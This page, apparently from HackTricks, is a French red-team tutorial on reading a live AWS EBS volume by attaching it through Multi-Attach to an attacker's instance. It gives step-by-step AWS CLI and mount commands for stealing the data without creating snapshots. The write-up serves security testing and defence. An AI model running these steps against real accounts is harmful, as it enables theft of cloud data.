AWS - Live Data Theft via EBS Multi-Attach

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Résumé

Abuse EBS Multi-Attach pour lire un volume de données io1/io2 en cours d'utilisation en attachant ce même volume à une instance contrôlée par l'attaquant dans la même Availability Zone (AZ). Monter le volume partagé en lecture seule permet d'accéder immédiatement aux fichiers en cours d'utilisation sans créer de snapshots.

Prérequis

  • Volume cible : io1 ou io2 créé avec --multi-attach-enabled dans la même AZ que l'instance de l'attaquant.
  • Permissions : ec2:AttachVolume, ec2:DescribeVolumes, ec2:DescribeInstances sur le volume/les instances ciblés.
  • Infrastructure : types d'instances basés sur Nitro qui supportent Multi-Attach (familles C5/M5/R5, etc.).

Remarques

  • Monter en lecture seule avec -o ro,noload pour réduire le risque de corruption et éviter les replays du journal.
  • Sur les instances Nitro, le périphérique EBS NVMe expose un chemin stable /dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol... (aide ci-dessous).

Préparer un volume io2 Multi-Attach et l'attacher à la victime

Exemple (créer dans us-east-1a et attacher à la victime) :

bash
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)

# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf

Sur la victime, formatez/montez le nouveau volume et écrivez des données sensibles (à titre d'illustration) :

bash
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync

Attacher le même volume à l'instance de l'attaquant

bash
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf

Mount read-only sur l'attacker et lire les données

bash
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt

Résultat attendu : Le même VOL_ID affiche plusieurs Attachments (victim and attacker) et the attacker peut lire les fichiers écrits par the victim sans créer de snapshot.

bash
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Aide : trouver le chemin du périphérique NVMe par Volume ID

Sur les instances Nitro, utilisez le chemin by-id stable qui intègre le Volume ID (supprimez le tiret après vol):

bash
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...

Impact

  • Accès en lecture immédiat aux données en direct du volume EBS ciblé sans générer de snapshots.
  • Si monté en lecture-écriture (read-write), l'attaquant peut altérer le système de fichiers de la victime (risque de corruption).

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks